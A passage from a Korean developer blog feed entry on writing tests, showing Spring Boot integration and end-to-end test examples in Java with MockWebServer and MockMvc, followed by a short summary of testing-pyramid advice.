        <span class="n">mockWebServer</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
        <span class="n">registry</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"weather.api.base-url"</span><span class="o">,</span> <span class="o">()</span> <span class="o">-&gt;</span> <span class="n">mockWebServer</span><span class="o">.</span><span class="na">url</span><span class="o">(</span><span class="s">"/"</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="nd">@BeforeEach</span>
    <span class="kt">void</span> <span class="nf">setupMockResponse</span><span class="o">()</span> <span class="o">{</span>
        <span class="n">mockWebServer</span><span class="o">.</span><span class="na">enqueue</span><span class="o">(</span><span class="k">new</span> <span class="nc">MockResponse</span><span class="o">()</span>
                <span class="o">.</span><span class="na">setBody</span><span class="o">(</span><span class="sh">"""
                    {
                        "city": "Seoul",
                        "temperature": 26
                    }
                """</span><span class="o">)</span>
                <span class="o">.</span><span class="na">addHeader</span><span class="o">(</span><span class="s">"Content-Type"</span><span class="o">,</span> <span class="s">"application/json"</span><span class="o">));</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="n">도시명으로_날씨조회시_API호출후_온도반환</span><span class="o">()</span> <span class="o">{</span>
        <span class="kt">int</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">weatherService</span><span class="o">.</span><span class="na">getWeather</span><span class="o">(</span><span class="s">"Seoul"</span><span class="o">);</span>
        <span class="n">assertThat</span><span class="o">(</span><span class="n">temp</span><span class="o">).</span><span class="na">isEqualTo</span><span class="o">(</span><span class="mi">26</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@AfterAll</span>
    <span class="kd">static</span> <span class="kt">void</span> <span class="nf">shutdown</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
        <span class="n">mockWebServer</span><span class="o">.</span><span class="na">shutdown</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="e2e-테스트-작성하는-방법">E2E 테스트 작성하는 방법</h2>

<ul>
  <li>전체 시스템이 실행된 상태에서 브라우저나 앱을 통해 사용자 시나리오를 그대로 따라가는 테스트</li>
  <li>실제 버튼 클릭, 페이지 이동 등 UI 이벤트 기반 테스트</li>
</ul>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@SpringBootTest</span>
<span class="nd">@AutoConfigureMockMvc</span>
<span class="nd">@TestInstance</span><span class="o">(</span><span class="nc">TestInstance</span><span class="o">.</span><span class="na">Lifecycle</span><span class="o">.</span><span class="na">PER_CLASS</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserRegistrationE2ETest</span> <span class="o">{</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">MockMvc</span> <span class="n">mockMvc</span><span class="o">;</span>

    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="n">회원가입_및_로그인_시나리오_테스트</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="c1">// 1. 회원가입 요청</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">post</span><span class="o">(</span><span class="s">"/api/users/register"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">contentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">)</span>
                <span class="o">.</span><span class="na">content</span><span class="o">(</span><span class="sh">"""
                    {
                        "email": "test@example.com",
                        "password": "secure123!",
                        "nickname": "tester"
                    }
                """</span><span class="o">))</span>
                <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isOk</span><span class="o">());</span>

        <span class="c1">// 2. 로그인 요청 → JWT 반환</span>
        <span class="nc">MvcResult</span> <span class="n">result</span> <span class="o">=</span> <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">post</span><span class="o">(</span><span class="s">"/api/users/login"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">contentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">)</span>
                <span class="o">.</span><span class="na">content</span><span class="o">(</span><span class="sh">"""
                    {
                        "email": "test@example.com",
                        "password": "secure123!"
                    }
                """</span><span class="o">))</span>
                <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isOk</span><span class="o">())</span>
                <span class="o">.</span><span class="na">andReturn</span><span class="o">();</span>

        <span class="nc">String</span> <span class="n">response</span> <span class="o">=</span> <span class="n">result</span><span class="o">.</span><span class="na">getResponse</span><span class="o">().</span><span class="na">getContentAsString</span><span class="o">();</span>
        <span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="nc">JsonPath</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">response</span><span class="o">,</span> <span class="s">"$.token"</span><span class="o">);</span>

        <span class="c1">// 3. 로그인된 상태로 마이페이지 접근</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/users/me"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">header</span><span class="o">(</span><span class="s">"Authorization"</span><span class="o">,</span> <span class="s">"Bearer "</span> <span class="o">+</span> <span class="n">token</span><span class="o">))</span>
                <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isOk</span><span class="o">())</span>
                <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">jsonPath</span><span class="o">(</span><span class="s">"$.email"</span><span class="o">).</span><span class="na">value</span><span class="o">(</span><span class="s">"test@example.com"</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="정리">정리</h2>

<ul>
  <li>테스트는 회귀 방지 + 문서 역할이라는 두 가지 이유만으로도 충분히 작성할 가치가 있습니다.</li>
  <li>테스트 피라미드 구조를 고려하여, 빠르고 신뢰할 수 있는 테스트 전략을 설계하는 것이 중요합니다.</li>
  <li>처음부터 완벽한 테스트 커버리지를 목표로 하기보다는, 가장 중요한 흐름부터 테스트를 작성하는 습관을 들이는 것이 핵심입니다.</li>
</ul>

<h2 id="참고">참고</h2>

<p><a href="https://semaphore.io/blog/testing-pyramid">https://semaphore.io/blog/testing-pyramid</a></p>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Test" /><category term="test" /><summary type="html"><![CDATA[개발을 하다 보면 “테스트 코드는 정말 꼭 작성해야 할까?”라는 질문을 종종 하게 됩니다. 하지만 시간이 지날수록, 기능이 많아지고 복잡도가 높아질수록 테스트 코드의 중요성은 점점 더 커집니다. 이번 글에서는 테스트 코드를 왜 작성해야 하는지, 그리고 각 테스트의 종류와 작성 방법에 대해 정리해 보겠습니다.]]></summary></entry></feed>